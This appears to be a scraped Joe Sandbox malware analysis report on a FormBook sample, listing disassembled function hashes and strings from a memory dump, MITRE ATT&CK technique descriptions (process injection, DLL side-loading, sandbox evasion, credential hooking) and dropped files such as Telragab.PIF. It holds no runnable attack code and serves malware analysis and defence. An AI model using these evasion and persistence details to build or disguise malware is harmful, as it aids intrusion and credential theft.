Opcode Fuzzy Hash: 768b791705985fef6bbd48d24f8a2b4910ff65960d9034aae90c2b5012bdc449
Instruction Fuzzy Hash: 76C08C30381A409AEB221B20CD01B0037A6BB10B00FC104B0A301D94F0DBB8D800EA00

Uniqueness

Uniqueness Score: -1.00%

Function 1E62BA10 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 427ca6eb96b90581979905a4aca713d96a8f2b591aa70216cf78c0d13fec8dd2
Instruction ID: b440b7bd9d5f10ae7cc2226edf1b07aef55a9c4f0e6c4ec28c3c82e485ebd6f6
Opcode Fuzzy Hash: 427ca6eb96b90581979905a4aca713d96a8f2b591aa70216cf78c0d13fec8dd2
Instruction Fuzzy Hash: 14C08C32180288BBC712AA91CD01F027B69E790BA0F500431B60446560C632E820D588

Uniqueness

Uniqueness Score: -1.00%

Function 1E62D860 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530c4b8706d5b4739cf7fca0d4ec2140365bb19b351e9e952cee3bb353013ca1
Instruction ID: ca5f3b5ab39f7db62961c7fd7c9361094df0d0d09f5c1ca6044a453fb244f855
Opcode Fuzzy Hash: 530c4b8706d5b4739cf7fca0d4ec2140365bb19b351e9e952cee3bb353013ca1
Instruction Fuzzy Hash: 90C012392A1AC28BCB01CA29C690A8837E0B740640BC60AD0E9808BB11D218E442CA00

Uniqueness

Uniqueness Score: -1.00%

Function 1E645E40 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b40be69bb84b8935692bbbf804503f40e9112a4bb32ea9a7600e8e15bbdb5b
Instruction ID: 5f7d069b4d86b6e74e95273a2f0536df7947f4c1a202ba70107af0dab682fae2
Opcode Fuzzy Hash: 87b40be69bb84b8935692bbbf804503f40e9112a4bb32ea9a7600e8e15bbdb5b
Instruction Fuzzy Hash: 32C08C32080288BBC7126A81CC00F027B2AE790B60F500020B6040A9718632ECA0D988

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B1F13 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5cfd273907e73ea4dac16a05e06ead9d4cff632145b002fd22589196fc6b546
Instruction ID: 0b69e21f7f33dcbb41217426496c7d95ad02cdcd9f8dc5a8c87b1ba7603eff97
Opcode Fuzzy Hash: d5cfd273907e73ea4dac16a05e06ead9d4cff632145b002fd22589196fc6b546
Instruction Fuzzy Hash: 52D01270A1A1C1DEE70ACB6861915013FE8BB0EB00B4648AEE046C7301C6244109C715

Uniqueness

Uniqueness Score: -1.00%

Function 1E62BAE0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24e2e236a666f9bb1d1a1b83819c978e318f65d854f46dc04eb5f7dcdd2b4c2a
Instruction ID: ed49787714cd8c315335b1646a361a50244a45cdd3146083bda90895bd3fc7d8
Opcode Fuzzy Hash: 24e2e236a666f9bb1d1a1b83819c978e318f65d854f46dc04eb5f7dcdd2b4c2a
Instruction Fuzzy Hash: 6BC08C32080288BBC7126A42CD00F017B29E7A0BA0F500020B6040A5608632E860D588

Uniqueness

Uniqueness Score: -1.00%

Function 1E65BADA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae17e15df103d916078b63446277b6c5133775b70c9e45a56900ed3f7caece7
Instruction ID: dd420be002dc9e299c66e67bcc087e41876a5c364a2e3a42ac02354caff28fca
Opcode Fuzzy Hash: fae17e15df103d916078b63446277b6c5133775b70c9e45a56900ed3f7caece7
Instruction Fuzzy Hash: 8EC02B343514C09ADB055B30CC40F103355FB00B60FF007547231468F0CA68AC00DA04

Uniqueness

Uniqueness Score: -1.00%

Function 1E63FDA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd49143fa49102544c2963eb9d090727d6c92543d1f0f36e433bd1cea946303
Instruction ID: d159260bd9cc47f9739ac411ea846f7b144f0fd5a7c051e2dd6816b6dd600ab9
Opcode Fuzzy Hash: 5fd49143fa49102544c2963eb9d090727d6c92543d1f0f36e433bd1cea946303
Instruction Fuzzy Hash: FAB01232C11580CFCF02DF40DA00B197332FB40720F254850A00017920C338F802CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDE9B Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction ID: 1627670364bebc66080de02f8542e74ac6891be69eb347d07c447c82b01ab2d1
Opcode Fuzzy Hash: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction Fuzzy Hash: EDA0113A022A80ABCB02AB00CA00B00B320BB00B20FE008A0A000028208228A8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDF10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction ID: 1627670364bebc66080de02f8542e74ac6891be69eb347d07c447c82b01ab2d1
Opcode Fuzzy Hash: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction Fuzzy Hash: EDA0113A022A80ABCB02AB00CA00B00B320BB00B20FE008A0A000028208228A8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDDB1 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction ID: 1627670364bebc66080de02f8542e74ac6891be69eb347d07c447c82b01ab2d1
Opcode Fuzzy Hash: 225c5cfe9ee0beead309f6de9a45ea72b197c9a4dc5d2f991778f8c23b784b0e
Instruction Fuzzy Hash: EDA0113A022A80ABCB02AB00CA00B00B320BB00B20FE008A0A000028208228A8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 1E667630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 1E6A46FC
CLIENT(ntdll): Processing section info %ws..., xrefs: 1E6A4787
ExecuteOptions, xrefs: 1E6A46A0
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 1E6A4655
Execute=1, xrefs: 1E6A4713
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 1E6A4742
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 1E6A4725

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: f91dcc8c5593fff84d0345b327db120e2c9abf4d77c353b478295e8064176417
Instruction ID: 6c3ce5855a4311064135f8c87dfbd15a0af000e59fe27311348c9bfad91e243c
Opcode Fuzzy Hash: f91dcc8c5593fff84d0345b327db120e2c9abf4d77c353b478295e8064176417
Instruction Fuzzy Hash: 01516735A11259BBEF008BA4DC94FAA7BA9EF4D300F8007A9D504EB190FB35BE41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E67B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 1E67B6BF

Strings

+, xrefs: 1E67B65A
-, xrefs: 1E67B650
0, xrefs: 1E67B66F
0, xrefs: 1E67B695

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: c6cd33ebbd08f783cff5f0c2d9a1fcb18fcf5b19e0746291b810655d6a0d76e4
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: C381C270E152498EEF04CF68C8A17EEBBB3AF46320F94475ADB63A7295C7349940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E65F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 1E6A02BD
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 1E6A02E7
RTL: Re-Waiting, xrefs: 1E6A031E

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 7e99cc1e0bfe686d8bc44ea8f2c09b072617ac2c601a77a13eae634b6c160e37
Instruction ID: 1e65901a6066a053771bc27bda96a3ec6079ab5be71a6dbfeedad77316708d71
Opcode Fuzzy Hash: 7e99cc1e0bfe686d8bc44ea8f2c09b072617ac2c601a77a13eae634b6c160e37
Instruction Fuzzy Hash: A8E1AF30A047829FD711CF28C894B5ABBE2AF85354F904B2DE5A58B3E1D775E984CB42

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 1E6A7B7F
RTL: Resource at %p, xrefs: 1E6A7B8E
RTL: Re-Waiting, xrefs: 1E6A7BAC

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: e5d506ce87e45b9542ea412c20912ad556d7fe5d5178a216074600726bbfc4c7
Instruction ID: f0922d452ff38505f19dac15811ec20a784ae80eae5225e158604b2565eb6c21
Opcode Fuzzy Hash: e5d506ce87e45b9542ea412c20912ad556d7fe5d5178a216074600726bbfc4c7
Instruction Fuzzy Hash: D641FD35B117428FC710CE29CC40B5AB7E6EF89720F800B2DE99A9B290DB31F805CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E66B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E6A728C

Strings

RTL: Resource at %p, xrefs: 1E6A72A3
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 1E6A7294
RTL: Re-Waiting, xrefs: 1E6A72C1

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 9fd64232789ebd505ee80dbb24d0d163018946e0a757c75b7cea38ddfd07ef37
Instruction ID: f56e035786a4b63c8d95f60c90e742348ef9ba19b6b978b0c5e214f236f73730
Opcode Fuzzy Hash: 9fd64232789ebd505ee80dbb24d0d163018946e0a757c75b7cea38ddfd07ef37
Instruction Fuzzy Hash: 7C41F035B01286ABC710CE25CC41F5AB7A6FF89714F900B29F956AB240DB75F842CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 1E677D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 1E677E8B

Strings

+, xrefs: 1E677DE8
-, xrefs: 1E677DDD

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 8159a5b0808d8b077caaaa49428063fae229ddc649871b481941e0f6fcc6e863
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 9691E771E0021A9BDB14CF69D9906AEB7B6FF46362FD0471AE861E72C4D73CA940CB50

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fpopgapwdcgvxn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Telragab.PIF_cd7ef5a2dc1b4e7443fc1fa25c3269aae2ef6f4_6406e3d8_80c3d30a-2e8b-49e2-b895-67a018884a02\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD3B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFEE2.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF12.tmp.xml

C:\Users\Public\Libraries\Telragab.PIF

C:\Users\Public\Telragab.url

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Static File Info

General

File Icon

Windows Analysis Report
Fpopgapwdcgvxn.exe

Function 03308E64 Relevance: 59.5, APIs: 14, Strings: 19, Instructions: 1789
libraryloadernativeCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
